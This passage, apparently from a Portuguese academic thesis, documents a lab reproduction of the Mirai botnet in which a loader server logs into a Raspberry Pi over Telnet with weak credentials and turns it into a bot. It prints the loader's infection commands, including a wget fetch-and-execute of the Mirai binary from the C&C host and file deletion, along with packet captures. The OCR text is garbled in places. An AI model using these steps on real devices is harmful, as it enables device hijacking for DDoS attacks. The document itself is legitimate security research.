que a conexao com o banco de dados do servidor C&C esteja aberta. Para isso, também incluido no
codigo da botnet Mirai, existe um executével que realiza a abertura dessa conexao. Esse executéavel
foi utilizado em background, com o uso do aplicativo screen, de forma que nao interferisse nos outros
processos realizados pelo servidor C&C. O processo de abertura da conex@o com o banco de dados

pode ser visto na Fig. 4.3.

root@cnc-server: fhome/cnc-server/Mirai-Source-Code/mirai/release

root@cnc-server: /home/cnc-server/Mirai-Source-Code/miraifrelease# 1s
mirai.m68k miraint.arm miraint.mips miraint.sh4 mirai.ppc mirai.x86

mirai.mips miraint.arm?7 miraint.mpsl miraint.spc mirai.sh4 prompt.txt

mirai.mpsl miraint.m68k miraint.ppc miraint.x86 mirai.spc scanListen
root@cnc-server: /home/cnc-server /Mirai-Source-Code/mirai/release# screen ./cnc
[detached from 3567.pts-18.cnc-server]

Figura 4.3: Abertura de conex@o com o banco de dados do servidor C&C

Para verificar o estabelecimento da conexao, com o uso da ferramenta PuTTY, foi solicitada
uma conexao Telnet com o IP 192.168.2.20, como mostra a Fig. 4.4. Apo6s fornecer as credenciais
de acesso e estabelecer a conexao Telnet, foi aberta a interface de comunicagdo e geréncia do
servidor C&C, conforme apresentado na Fig. 4.5. No topo do terminal, é possivel observar que

ainda nao existem bots conectados ao servidor.

2P 192.168.2.20 - PUTTY — O X

Figura 4.4: Conexao Telnet com o servidor C&C
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‘@ 0 Bots Connected | admin

n
!
[!

Figura 4.5: Interface de comunicagéo e geréncia do servidor C&C

Por fim, outra configuracdo importante a ser implementada no servidor C&C para funcio-
namento correto da botnet foi o estabelecimento de um servidor Apache, que disponibilizasse os
binarios para carregamento nos bots com o comando wget e um servidor TFTP, que disponibilizasse
os mesmo binérios com o comando tftp. Vale ressaltar que os binarios podem estar armazenados
em qualquer servidor, ndo necessariamente no servidor C&C, sendo apenas essencial indicar esses
servidores no cédigo main.c do servidor loader, conforme exemplificado na Fig. 4.6. Porém, para
esse trabalho, devido a pequena disponibilidade de recursos, os servidores foram estabelecidos na
préopria maquina cnc-server.

¥ wget address tftp address */
if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "192.168.2.20", 80, ‘192,168.2‘20\"]] == NULL)

printf("Failed to initialize server. Abortingin");
return 1;

Figura 4.6: Indicacao dos servidores Apache e TFTP no codigo main.c
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4.2 Cenario com Raspberry Pi

Para esse cenario o objetivo é verificar como se sucede a tentativa de invasao em um Raspberry
Pi, rodando o sistema operacional Raspabian, visando transforma-lo em bot. Na Tabela 4.1, sdo
apresentadas as caracteristicas das maquinas envolvidas diretamente no cenério de ataque e que

compoe a botnet.

Servidor C&C | Servidor loader Bot
Nome do host cne-server loader-server RPi0w_c
IP do host 192.168.2.20 192.168.2.30 192.168.2.49

Tabela 4.1: Dispositivos envolvidos no ataque do cenario com Raspberry Pi

Considerando os requisitos necessarios para que um dispositivo seja considerado vulnerével, foi
instalado no Raspberry Pi o servigo Telnet e o BusyBoz. Para verificar o funcionamento dessas
funcionalidades, conforme apresentado na Fig. 4.7, foi feito um acesso remoto, com sucesso, ao
Raspberry Pi pelo servigo Telnet e utilizado o comando busyboxr para checar as configuragoes desse

aplicativo. Foi verificado que na versao instalada do BusyBox, estao presentes os comandos wget
e tftp.

@' aledemelo@RPi0w_c: ~ — C

Figura 4.7: Conexao Telnet com Raspberry Pi e apresentacao do aplicativo BusyBoz
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Para iniciar o processo, por meio de um arquivo de extensao TXT (file.txt), os dados necessarios
para acesso ao dispositivo sao apresentados ao servidor loader no formato descrito na secao 3.4.3,

que inclui IP, porta, usuario e senha de acesso. Em seguida, com o comando:
cat file.tzt | ./loader.dbg

o executavel compilado a partir do cédigo contido na pasta loader, tenta realizar o acesso no
dispositivo com IP indicado, pela porta 23 (porta padrao do servigo Telnet), com as credenciais

fornecidas. Esse processo pode ser observado na Fig. 4.8.

Em seguida, o loader reconhece o servico Telnet no dispositivo e consegue estabelecer uma
comunicacao. Apds a comunicagao estabelecida, as credenciais fornecidas sao aplicadas e o servidor
loader consegue acessar o dispositivo com sucesso. Como o executavel esta sendo utilizado no modo
debug, é possivel ver os resultados de cada processo na tela do terminal, apresentados nas Figs.
4.8 ¢ 4.9.

root@loader-server: /home/loader-server/Mirai-Source-Code/loader# cat file.txt
192.168.2.49:23 aledemelo:admin

root@loader-server: /home/loader-server/Mirai-Source-Code/loader# cat file.txt | ./loader.dbg
(1/9) bins/dlr.arm is loading...

(2/9) bins/dlr.arm7 is loading...

(3/9) bins/dlr.m68k is loading...

(4/9) bins/dlr.mips is loading...

(5/9) bins/dlr.mpsl is loading...

(6/9) bins/dlr.ppc is loading...

(7/9) bins/dlr.sh4 is loading...

(8/9) bins/dlr.spc is loading...

(9/9) bins/dlr.x86 is loading...

[FD13] Called connection_open

[FD13] Established connection

TELIN: ¢+ :

Hit end of in

TELIN: oo »@ 6

TELIN: ee HPi8w_c login:
matched login prompt at 13,
TELOUT:

0000 61 6c 65 64 65 6d 65 6¢C 6F aledemelo

matched password prompt at &, ":", ": "

TELIN: aledemelo

matched password prompt at @, ":", ": aledemeloin:
TELOUT:

0000 od 0a

TELIN:

Password:

matched password prompt at 21, ":", ": aledemelo
Password: "

TELOUT:

0000 61 64 6d 69 6e
matched any prompt at o,
TELOUT:

0000 od 0a
TELIN:

"RPi0w_c login:

matched any prompt at @,
edemelo

Password:
TELIN: Last login: Tue Jan 23 ©8:57:44 CST 2818 from 192.168.2.38 on pts/@

Figura 4.8: Inicio do processo do servidor loader e tentativa de Login no servigo Telnet do Raspberry
Pi
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aledemelo@RPiOw_c:~$ sh

TELIN: $
TELIN: ECCHI
TELIN: : applet not found
S
[FD13] Succesfully logged
TELOUT:
0000 2f 62 69 6e 2f 62 : 78 20 70 73 3b /bin/busybox ps;
0010 20 2f 62 69 6e 2f 6f 78 20 45 43 fbin/busybox EC
0020 43 48 49 od 0a CHI..
TELIN: /bin/fbusybox /bin/busybox ECCHI

Figura 4.9: Sucesso na conexao Telnet com o Raspberry Pi

A conexao Telnet estabelecida com sucesso também pode ser observada pelos pacotes captura-
dos com a ferramenta Wireshark. Nas Figs 4.10 a 4.14 sao apresentados os pacotes do protocolo
Telnet, contendo todos os dados de login e a verificacdo de sucesso no acesso com a exposicao da

mensagem de apresentagao do sistema.

[W]tcp.port==23

No. Time Source Destination Protocol Length Info
43 13.654482259 192.168.2.49 192.168.2.30 TCP 66 23 — 51499 [ACK] Seq=28 Ack=168 Win=28892 Len=0 T5val=276360 TSecr=1422037297
44 13.654519972 192.168.2.30 192.168.2.49 TELNET 87 Telnet Data ...
45 13.665947061 192.168.2.49 192.168.2.30 TCP 66 23 — 51499 [ACK] Seq=28 Ack=37 Win=28992 Len=0 TSval=276361 TSecr=1422037311
46 13.665972338 192.168.2.49 192.168.2.30 TELNET 69 Telnet Data ..
47 13.665986997 192.168.2.30 192.168.2.49 TCP 66 51499 - 23 [ACK] Seq=37 Ack=31 Win=29312 Len=0 TSval=1422037314 TSecr=276361

673715957 oy oo

49 13.673724924 192.168.2.30 192.168.2.49 TCP 66 51499 - 23 [ACK] Seq=37 Ack=46 Win=29312 Len=0 TSval=1422037316 TSecr=276362
508 14.597960359 192.168.2.30 192.168.2.49 TELNET 69 Telnet Data ...
51 14.654708155 192.168.2.49 192.168.2.30 TCP 66 23 — 51499 [ACK] Seq=46 Ack=48 Win=28992 Len-0 TSval=2764608 TSecr=1422037547
57 15.598224215 192.168.2.30 192.168.2.49 TELNET 75 Telnet Data ...
58 15.607298761 192.168.2.49 192.168.2.30 TCP 66 23 — 51499 [ACK] Seq=46 Ack=49 Win=28992 Len=0 TSval=276555 TSecr=1422037797
RO 1R AATA12424 102 1R 2 40 102 1AR 2 30 TELNFT 75 Telnet Nata

» Frame 48: 81 bytes on wire (648 Dits), 81 Dytes captured (648 bits) on interface @

Ethernet

-

Internet Protocol Version 4, Src 192. 16 9 D 192.16 2]

Transmission Control Protocol, Src Port: 23 Dst Port: 51499 Seq: 31, Ack: 37, Len: 15
w Telnet

Data: RPi@w_c login:

-

Figura 4.10: Pacote 48 - Requisigao de login do RPi (192.168.2.49) para o loader (192.168.2.30)

[W]tcp.port==23

No. Time Source Destination Protocol Length Info

43 13.654482259 192.168.2.49 192.168.2.30 TCP 66 23 — 51499 [ACK] Seq=28 Ack=16 Win=28992 Len=0 TSval=276360 TSecr=1422037297

44 13.654519972 192.168.2.30 192.168.2.49 TELNET 87 Telnet Data ...

45 13.665947061 192.168.2.49 192.168.2.30 TCP 66 23 — 51499 [ACK] Seq=28 Ack=37 Win=28992 Len=0 TSval=276361 TSecr=1422037311

46 13.665972338 192.168.2.49 192.168.2.30 TELNET 69 Telnet Data ...

47 13.665986997 192.168.2.30 192.168.2.49 TCP 66 51499 - 23 [ACK] Seq=37 Ack=31 Win=29312 Len=0 TSval=1422037314 TSecr=276361

48 13.673715957 192.168.2.49 192.168.2.30 TELNET 81 Telnet Data ...

49 13.673724924 192.168.2.30 192.168.2.49 TCP 66 51499 - 23 [ACK] Seq=37 Ack=46 Win=29312 Len=0 TSval=1422037316 TSecr=276362

50 14.597960359 192.168.2.30 192.168.2.49 TELNET 69 Telnet Data ..

51 14.654708155 192.168.2.49 192.168.2.30 TCP 66 23 — 51499 [ACK] Seq=46 Ack=40 Win=28992 Len=0 TSval=276460 TSecr=1422037547
.598224215 of3s of3s Telnet Data ..

58 15.607298761 192.168.2.49 192.168.2.30 TCP 66 23 — 51499 [ACK] Seq=46 Ack=49 Win=28992 Len=08 TSval=276555 TSecr=1422037797

R0 15 AATA12424 192 1RA 2 49 192 1RR 2 30 TFINFT 75 Telnat Nata

p» Frame 57: 75 bytes on wire (688 bits), 75 hytes captured (688 bits) on interface @
3 8 7:57 _93:

Ethernet II, Src: PcsCompu_!
Internet Protocol Version 4, Src:
Transmission Control Protocol Src Port: 51499 Dst Port: 23, Seq: 4@, Ack: 46, Len: 9
w Telnet

Data: aledemelo

Figura 4.11: Pacote 57 - Fornecimento de usuario: aledemelo do loader (192.168.2.30) para o RPi
(192.168.2.49)
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[W tcp.port==23

No. Time Source Destination Protocol Lengtt Info
57 15.588224215 192.168.2.30 192.168.2.49 TELNET 75 Telnet Data ..
58 15.687298761 192.168.2.49 192.168.2.30 TCP 66 23 - 51499 [ACK] Seg-46 Ack=49 Win=28992 Len=0 TSval=276555 TSecr=1422037797
59 15.687312424 192.168.2.49 192.168.2.30 TELNET 75 Telnet Data ..
6@ 15.687319024 192.168.2.30 192.168.2.49 TCP 66 51499 —~ 23 [ACK] Seq=49 Ack=55 Win=29312 Len=0 TSval=1422037799 TSecr=276555

N 64 17.527510619 192.168.2.30 192.168.2.49 TELNET 68 Telnet Data ..
65 17.541067982 92.168.2.4C 92.168.2.360 8 Telnet Data ..
66 17.541085132 192.168.2.30 192.168.2.49 TCP 66 51499 -~ 23 [ACK] Seq=51 Ack=67 Win=29312 Len=0 TSval=1422038283 TSecr=276748
67 17.541153424 192.168.2.30 192.168.2.49 TELNET 71 Telnet Data ..
68 17.594109376 192.168.2.49 192.168.2.30 CP 66 23 - 51499 [ACK] Seq=67 Ack=56 Win=28992 Len=0 TSval=276754 TSecr=1422038283
74 19.552160962 192.168.2.30 192.168.2.49 TELNET 68 Telnet Data ..
75 19.561642926 192.168.2.49 192.168.2.30 TCP 66 23 - 51499 [ACK] Seq=67 Ack=58 Win=28992 Len=0 TSval=276951 TSecr=1422038785
7A 10 572773182 102 1RR 2 40 192 1RR 2 2A TEINFT AR Telnet Rata

» Frame 65: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) on interface @

» Ethernet IT, Src: Raspberr_93:98:3d (b8:27:eb:93:98:3d), Dst: PcsCompu_5f:7e:a7 (08:00:27:5f:Te:a’)

» Internet Protocol Version 4, Src: 192.168.2.49, Dst: 192.168.2.30

» Transmission Control Protocol, Src Port: 23, Dst Port: 51499, Seq: 55, Ack: 51, Len: 12

Telnet

Data: \r\n
Data: Password:

Figura 4.12: Pacote 65 - Requisi¢ao de password do RPi (192.168.2.49) para o loader (192.168.2.30)

[N tcp.port==23

No. Time Source Destination Protocol Lengtt Info
57 15.598224215 192.168.2.30 192.168.2.49 TELNET 75 Telnet Data ..
58 15.607298761 192.168.2.49 192.168.2.30 TCP 66 23 — 51499 [ACK] Seq=46 Ack=49 Win=28992 Len=@ TSval=276555 TSecr=1422037797
59 15.607312424 192.168.2.49 192.168.2.30 TELNET 75 Telnet Data
60 15.607319024 192.168.2.30 192.168.2.49 TCP 66 51499 - 23 [ACK] Seq=49 Ack=55 Win=29312 Len=0 TSval=1422037799 TSecr=276555
64 17.527510619 192.168.2.30 192.168.2.49 TELNET 68 Telnet Data ..
65 17.541067982 192.168.2.40 192.168.2.30 TELNET 78 Telnet Data
66 17.541085132 192.168.2.30 192.168.2.49 TCP 66 51499 ~ 23 [ACK] Seq=51 Ack=67 Win=28312 Len=0 TSval=14220838283 TSecr=276748

7 17.541153424 8.2.306 2.4¢ 71 Telnet Data ..

68 17.594189376 192.168.2.49 192.168.2.30 TCP 66 23 — 51499 [ACK] Seq=67 Ack=56 Win=28992 Len=8 TSval=276754 TSecr=1422838283
74 19.552160962 192.168.2.30 192.168.2.49 TELNET 68 Telnet Data
75 19.561642926 192.168.2.49 192.168.2.30 TCP 66 23 — 51499 [ACK] Seq=67 Ack=58 Win=28992 Len=0 TSval=276951 TSecr=1422838785
FA 10 R72?7721072 142 1RR 7 4Q 197 1RR 2 2N TFILNFT AR Talnat Nata

» Frame 67: 71 bytes on wire (568 bits), 71 bytes captured (568 bits) on interface 0

» Ethernet II, Src: PcsCompu_5T:7e:a7 (08:00:27:5f:7e:a7), Dst: Raspberr_93:98:3d (b8:27:eb:93:98:3d)

» Internet

» Transmission Control Protocol, Src Port: 51499, Dst Port: 23, Seq: 51, Ac

Telnet
Data:

Protocol Version 4, Src: 192.168.2.30, Dst: 192.168.2.49

admin

67,

: 5

Figura 4.13: Pacote 67 - Fornecimento de senha: admin do loader (192.168.2.30) para o RPi
(192.168.2.49)

[ [tep.port==23

No. Time
.847695129

Protocol Lengtt Info

TELNET

431 Telnet Data ...

87 19.
88 19.
89 19.
98 19.
91 19.
93 19.
94 19,
95 19.
99 20.
160 20.

A1 20

b Frame 86:

» Ethernet
» Internet

847726145
854606168
854726197
854756402
896658145
905412948
905422547
905428682
674558820
674576976
A7RR12210
431 bytes

Source
o
192.168.2.30
192.168.2.49
192.168.2.30
192.168.2.49
192.168.2.30
192.168.2.49
192.168.2.49
192.168.2.30
192.168.2.49
192.168.2.30
2

162 1RA

on wire (3448 bits),
II, Src: Raspberr_93:98:3d (b8:27:eb:93:98:3d

Destination
8.2.30
192.168.2.49
192.168.2.30
192.168.2.49
192.168.2.30
192.168.2.49
192.168.2.30
192.168.2.30
192.168.2.49
192.168.2.30
192.168.2.
2

162 1RA

TCP
TCP
TELNET
TELNET
TCcP
TCP
TELNET
TCP
TELNET

66 51499 - 23 [ACK] Seq=77 Ack=503 Win=30336 Len=0
66 23 ~ 51400 [ACK] 5eq=5683 Ack=77 Win=28992 Len=0

86 Telnet Data ...
77 Telnet Data ...

66 51499 -~ 23 [ACK] Seq=97 Ack=514 Win=3€336 Len=0
66 23 - 51499 [ACK] Seq=514 Ack=97 Win=28992 Len=0

86 Telnet Data

66 51499 - 23 [ACK] Seq=97 Ack=534 Win=30336 Len=0

87 Telnet Data ...

66 51499 - 23 [ACK] Seq=97 Ack=555 Win=30336 Len=0

04R Telnet Nata

431 bytes captured (3448 bits) on interface @

), Dst: PcsCompu_5f:7e:a7 (B8:80:27:5f:7e:a7)

Protocol Version 4, Src: 192.168.2.49, Dst: 192.168.2.30
» Transmission Control Protocol, Src Port: 23, Dst Port: 51499, Seq: 138, Ack: 66, Len: 365
: enableirin
i Linux RPi@w_c 4.9.41+ #1023 Tue Aug 8 15:47:12 BST 2017 armv6l\r\n
HA ab
: The programs included with the Debian GNU/Linux system are free software;\r\n

: the exact distribution terms for each program are described in thevr\n
: individual files in Jusr/share/doc/*/copyright.\rin
HAYaY
: Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentrin
: permitted by applicable law.\r\n

TSval=1422038859 TSecr=276979
TSval=276980 TSecr=1422038859

TSval=1422038872 TSecr=276980

TSval=276985 TSecr=1422038861

TSval=1422038874 TSecr=276985

TSval=1422039066 TSecr=277061

Figura 4.14: Pacote 86 — Apresentagao das mensagens de inicializa¢ao do SO do RPi (192.168.2.49)
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Apos acessado remotamente, o dispositivo passa a receber uma série de comandos do servidor
loader, com o objetivo de exercer um fluxo de cinco atividades principais, respectivamente na

ordem em que sao apresentados na Tabela 4.2.

Objetivo Comando

Realizar uma verredura dos pro- | /bin/busybox ps
cessos existentes e matar proces- | /bin/busybox kill -9 <pid>

Sos suspeitos

Detectar a arquitetura do proces- | cat /proc/cpuinfo

sador do dispositivo

Descobrir os métodos de carrega- | /bin/busybox wget

mento de arquivos disponiveis no | /bin/busybox tftp

dispositivo
Realizar o download do binério e | /bin/busybox wget http://192.168.2.20:80 /mirai.<arch>
transforma-lo em executéavel -O dvrHelper

/bin/busybox chmod 777 dvrHelper

Executar o binario carregado no | ./dvrHelper telnet.<arch>

dispositivo

Excluir os arquivos adicionados | rm -rf <arquivo>

durante a invasao

Tabela 4.2: Comandos realizados pelo servidor loader no dispositivo invadido

Primeiramente, o servidor loader visualiza quais processos estao rodando no dispositivo e
“mata” qualquer processo que possa interferir na atividade da botnet, como outros malwares instala-
dos ou servigos de acesso remoto habilitados. Em seguida, é detectada a arquitetura do processador
do dispositivo para definir qual binéario deve ser baixado do servidor C&C para um funcionamento
correto do executavel. No caso do Raspberry Pi, a arquitetura encontrada foi arm61 que é compa-
tivel com a arquitetura arm7 disponivel no servidor. Depois, considerando os métodos de carrega-
mento incluidos no co6digo, deve-se descobrir quais deles estdao disponiveis no dispositivo. A escolha
do método a ser utilizado, embasada na disponibilidade do dispostivo, possui a seguinte ordem de
prioridade: wget, tftp e echo. Neste cenério, como todos os comandos estavam disponiveis a partir
da ferramenta BusyBox, conforme apresentado na Fig. 4.15, o método de carregamento utilizado
foi o wget. Seguidamente é realizado o download do binario baseado na arquitetura detectada e no

método definido, como pode ser observado na Fig. 4.16.
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[N ]tcp.port==23

No. Time Source Destination Protocol Lengtt Info

391 21.979445819 192.168.2.49 192.168.2.30 TELMNET 124 Telnet Data ...

392 22.020420160 192.168.2.30 192.168.2.49 TCP 66 51499 — 23 [ACK] Seq=4462 Ack=43489 Win=142080 Len=8 TSval=1422039483 TSecr=277192
827341383 2 ol 2 oo 834 Telnet Data ...

394 22.027357151 192.168.2.30 192.168.2.49 TCP 66 51499 — 23 [ACK] Seq=4462 Ack=44257 Win=145024 Len=0 T5val=1422039404 TSecr=277197

395 22.934471680 192.168.2.49 192.168.2.30 TELMNET 71 Telnet Data ...

396 22.034604909 192.168.2.30 192.168.2.49 TCP 66 51499 — 23 [ACK] Seq=4482 Ack=44262 Win=145024 Len=8 TSval=1422039486 TSecr=277198

397 22.037957027 192.168.2.49 192.168.2.30 TELNET 88 Telnet Data ...

398 22.040705774 192.168.2.30 192.168.2.49 TCP 66 51499 — 23 [ACK] Seq-4462 Ack=44284 Win=145024 Len=@ TSval-1422039408 TSecr=277198

399 22.940775284 192.168.2.30 192.168.2.49 TELMNET 198 Telnet Data ...

400 22.045348504 192.168.2.49 192.168.2.30 TELNET 196 Telnet Data ...

401 22.088653533 192.168.2.30 192.168.2.49 TCP 66 51499 — 23 [ACK] Seq=4586 Ack=44408 Win=145024 Len=@ TSval=1422039420 TSecr=277199

47 27 1AAAAAAZS 192 1RR 2 40 192 1R 2 23R TEINET 115 Talnet Data

Frame 3

& bytes on wire (66 re B interface B
Ethernet

3 II, Src: Raspberr_93:98:3d (b8:27:eb:9. ), Dst: PcsCompu_5f:7e:a7 (B8:00:27:5f:7e:al)
» Internet Protocol Version 4, Src: 192.168.2.49, Dst: 192.168.2.30
» Transmission Control Protocol, Src Port: 23, Dst Port: 51489, Seq: 43489, Ack: 4462, Len: 768
« Telnet
Data: BusyBox v1.22.1 (Raspbian 1:1.22.0-19) multi-call binary.\r\n
Data: \r\n

Data: Usage: wget [-c|--continue] [-s|--spider] [-q|--quiet] [-0]--output-document FILE]wrin
Data: “t[--header 'header: wvalue'] [-Y|--proxy on/off] [-P DIR]\r\n
Data: “t[-U|--user-agent AGENT] URL...\r\n

Data: \r\n

Data: Retrieve files via HTTP or FTP\r\n

Data: “rin

Data: “t-s\tSpider mode - only check file existence\rin

Data: \t-c\tContinue retrieval of aborted transferi\ri\n

Data: \t-g\tQuiet\rin

Data: “t-P DIR\tSave to DIR (default .)\r\n

Data: “t-0 FILE:tSave to FILE ('-' for stdout)irin

Data: “t-U STRAtUse STR for User-Agent headeririn

Data: \t-YitUse proxy ('on' or 'off')ir\n

Data: “rin

Data: BusyBox v1.22.1 (Raspbian 1:1.22.0-19) multi-call binary.\r\n
Data: \r\n

Data: Usage: tftp [OPTIONS] HOST [PORTI\r\n

Data: “rin

Data: Transfer a file from/to tftp serveririn

Data: \rn

Data: “t-1 FILE:tLocal FILEAr\n

Data: “t-r FILE:tRemote FILEAr\n

Data: “t-gh\tGet file\r\n

Data: “t-p\tPut file\r\n

Data: “t-b SIZEMtTransfer blocks of SIZE octetshrin

Data: “rin

Figura 4.15: Comandos disponiveis pela ferramenta BusyBox

[WJtcp.port==23

No. Time Source Destination Protocol Lengtt Info

396 22.834684989 192.168.2.30 192.168.2.49 TCcP 66 51499 — 23 [ACK] Seq-4462 Ack=44262 Win=145024 Len=8 TSval-1422039406 TSecr=277198

397 22.837957027 192.168.2.49 192.168.2.30 TELNET 88 Telnet Data ...

398 22.0940705774 192.168.2.30 192.168.2.49 TCP 66 51499 — 23 [ACK] Seq=4482 Ack=44284 Win=145024 Len=8 TSval=1422039488 TSecr=277198
. 0468775284 s o2 192.168.2. 4¢ Telnet Data ...

408 22.845348584 192.168.2.49 192.168.2.30 TELNET 19@ Telnet Data ...

401 22.888653533 192.168.2.30 192.168.2.49 TCP 66 51499 — 23 [ACK] Seq=4586 Ack=44408 Win=145024 Len=8 TSval=1422039428 TSecr=277199

402 22.100440025 192.168.2.49 192.168.2.30 TELNET 115 Telnet Data ...

403 22.100488041 192.168.2.30 192.168.2.49 TCP 66 51499 — 23 [ACK] Seq=4586 Ack=44457 Win=145024 Len=0 TSval=1422039423 TSecr=277204

404 22.211811687 192.168.2.49 192.168.2.30 TELNET 149 Telnet Data ...

405 22.212257771 192.168.2.30 192.168.2.49 TCP 66 51499 — 23 [ACK] Seq=4586 Ack=44548 Win=145024 Len=8 TSval=1422039458 TSecr=277215

406 22.219814223 192.168.2.49 192.168.2.30 TELNET 71 Telnet Data ...

47 22 210RA1230 192 1R 2 30 192 1RA 2 40 e AR 51490 — 23 TACK] Sen=ARAR Ark=A4RA5 Win=145024 | an=A TSual=1422030452 TSarr=27721A

Frame 399: 190 bytes on wire (1520 bits), 198 bytes captured (1520 bits) on interface @

Ethernet II, Src: PcsCompu_5T:7e:a7 (08:00:27:57:7e:a7), Dst: Raspberr_93:98:3d (b8:27:eb:93:98:3d)
Internet Protocol Version 4, Src: 192.168.2.30, Dst: 192.168.2.49

Transmission Control Protocol, Src Port: 51499, Dst Port: 23, Seq: 4462, Ack: 44284, Len: 124
Telnet

{vvw~w

Figura 4.16: Comando utilizado para realizar o download do binario

Com o auxilio da ferramenta Tepdump, foi realizada uma captura de pacotes no Raspberry Pi
durante a invasao pelo servidor loader. A Fig. 4.17 apresenta os primeiros pacotes pertencentes
ao processo de carregamento do bindrio armazenado no servidor C&C, incluindo a requisi¢ao wget

e o envio de pacotes de dados contendo o binéario.
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09:31:33.463819 IP 192.168.2.49.42110 > 192.168.2.20.http: Flags [P], seq 1:89, ack 1, win
457, options [nop,nop,TS val 479856 ecr 1899660798], length 88: HITP: GET
/mirai.arm7 HTTP/1.1

09:31:33.467236 IP 192.168.2.20.http > 192.168.2.49.42110: Flags [.], ack 89, win 227,
options [nop,nop,TS val 1899660803 ecr 4798561, length 0

09:31:33.468346 IP 192.168.2.20.http > 192.168.2.49.42110: Flags [.], seq 1:1449, ack 89,
win 227, options [nop,nop,TS val 1899660804 ecr 4798561, length 1448: HTTP: HTTP/1.1
200 OK

09:31:33.468411 1P 192.168.2.20.http > 192.168.2.49.42110: Flags [.], seq 1449:2897, ack
89, win 227, options [nop,nop,TS val 1899660804 ecr 4798561, length 1448: HTTP

09:31:33.468439 IP 192.168.2.20.http > 192.168.2.49.42110: Flags [.], seq 2897:4345, ack
89, win 227, options [nop,nop,TS val 1899660804 ecr 479856], length 1448: HTTP

09:31:33.468464 IP 192.168.2.20.http > 192.168.2.49.42110: Flags [.], seq 4345:5793, ack
89, win 227, options [nop,nop,TS val 1899660804 ecr 479856], length 1448: HTTP

09:31:33.468650 IP 192.168.2.49.42110 > 192.168.2.20.http: Flags [.], ack 1449, win 502,
options [nop,nop,TS val 479857 ecr 1899660804], length 0

09:31:33.468852 IP 192.168.2.49.42110 > 192.168.2.20.http: Flags [.], ack 2897, win 547,
options [nop,nop,TS val 479857 ecr 1899660804], length 0

09:31:33.468916 IP 192.168.2.49.42110 > 192.168.2.20.http: Flags [.], ack 4345, win 592,
options [nop,nop,TS val 479857 ecr 1899660804], length 0

09:31:33.468958 IP 192.168.2.49.42110 > 192.168.2.20.http: Flags [.], ack 5793, win 638,
options [nop,nop,TS val 479857 ecr 1899660804], length 0

Figura 4.17: Inicio do processo de download do binario

Por fim, apds completo o carregamento do arquivo, o binério é executado no dispositivo e passa
rodar em memoria. Os arquivos que foram adicionados no dispositivo apés a invasao sao removidos

e o servidor loader se desconecta do dispositivo.

Apos a conclusao do processo de invasao do dispositivo e do carregamento do malware, o0 mesmo
é transformado em um bot da botnet e passa a ser contabilizado e controlado pelo servidor C&C.
A comunicacdo entre o bot e o servidor de comando é baseada no dominio incluido no codigo
do binario presente no dispositivo, conforme explicado na segao 4.1. O estabelecimento dessa
comunicacao é quase que imediato a execugao do binério no dispositivo. A Fig. 4.18 mostra a

contagem de um bot na interface de geréncia de ataques da botnet.
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2P 1 Bots Connected | admin — O

AHBIE HaI'T'eTChL

Figura 4.18: Interface de geréncia de ataques botnet com a contagem de um bot

Dessa forma, ao ser contabilizado pela interface de geréncia de ataques, o dispositivo Rasp-
berry Pi foi transformado com sucesso em um bot, passando a ser incluido nos ataques de DDoS
inicializados pela botnet. Assim como esperado, o dispositivo continua exercendo suas funcionali-
dades normalmente e todos os processos de ataque acontecem de forma transparente ao usuario

do dispositivo.

4.2.1 Processo de scanner

O processo de scanner de IPs vulneraveis é um aspecto extremamente importante para o
funcionamento correto da botnet, pois é a partir dele que novos bots serao recrutados. Esse processo
é realizado pelos dispositivos ja infectados pelo malware e teoricamente consiste no envio de pacotes
SYN para IPs randdmicos nas portas padroes dos servigos Telnet (23 e 2323) e SSH (22), utilizando
o protocolo TCP. O objetivo é encontrar dispositivos que possuam esses servigos habilitados, para
entao tentar realizar o acesso remoto nos mesmos com credenciais comuns, definidas previamente

no codigo.

A partir do momento que em sao transformados em bot, os dispositivos instantaneamente pas-
sam a realizar esse processo. Para visualiza-lo de uma forma mais especifica, com o auxilio da
ferramenta Tcpdump, os pacotes de dados do trafego de rede do Raspberry Pi foram capturados,
utilizando o filtro de captura do protocolo TCP. Conforme explicado na segédo 3.4, para este traba-
lho, a grande maioria dos IPs foram excluidos desse processo, de forma que apenas IPs no intervalo
de 192.168.0.0 até 192.168.3.255 fossem possiveis de serem testados. Por esse motivo, poucos pa-
cotes foram capturados durante uma varredura de aproximadamente cinco minutos. As Figs. 4.19

e 4.20 mostram que apenas 20 pacotes foram capturados e o tnico IP encontrado para tentativa
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de acesso pelo servigo Telnet foi o 192.168.2.20, do préprio servidor C&C.

Figura 4.19: Numero de pacotes capturados com o Tcpdump no Raspberry Pi

19:31:03.859787 IP 192.168.2.49.52318 > 192.168.2.20 telnet: Flags [P.], seq
231639531:231639533, ack 1449603489, win 457, options [nop,nop,TS val 358741 ecr
1181747885], length 2

19:31:03.881201 IP 192.168.2.20.telnet > 192.168.2.49.52318: Flags [P.], seq 1:3, ack 2,
win 227, options [nop,nop, TS val 1181807964 ecr 358741], length 2

19:31:03.881385 IP 192.168.2.49.52318 > 192.168.2.20 .telnet: Flags [.], ack 3, win 457,
options [nop,nop, TS val 358743 ecr 1181807964], length 0

19:32:03.939945 IP 192.168.2.49.52318 > 192.168.2.20 .telnet: Flags [P.], seq 2:4, ack 3,
win 457, options [nop,nop, TS val 364749 ecr 1181807964], length 2

19:32:03.946525 IP 192.168.2.20.telnet > 192.168.2.49.52318: Flags [P.], seq 3:5, ack 4,
win 227, options [nop,nop, TS val 1181868029 ecr 364749], length 2

19:32:03.946658 IP 192.168.2.49.52318 > 192.168.2.20 .telnet: Flags [.], ack 5, win 457,
options [nop,nop, TS val 364749 ecr 1181868029], length 0

19:33:03.999704 IP 192.168.2.49.52318 > 192.168.2.20.telnet: Flags [P], seq 4:6, ack 5,
win 457, options [nop,nop, TS val 370755 ecr 1181868029], length 2

19:33:04.058606 IP 192.168.2.20.telnet > 192.168.2.49.52318: Flags [P.], seq 5:7, ack 6,
win 227, options [nop,nop, TS val 1181928137 ecr 370755], length 2

Figura 4.20: Exemplificacao de alguns pacotes capturados com o Tepdump no Raspberry Pi

Para visualizar o processo de uma forma mais detalhada, em um ambiente com interface grafica,
a partir da méaquina cnc-server foi rodado o binario do malware no modo debug. Os resultados
podem ser vistos nas Figs. 4.21 e 4.22. Assim como no Raspberry Pi, poucos IPs foram identi-
ficados para a tentativa de acesso, sendo eles o do servidor DNS, servidor C&C e do Raspberry
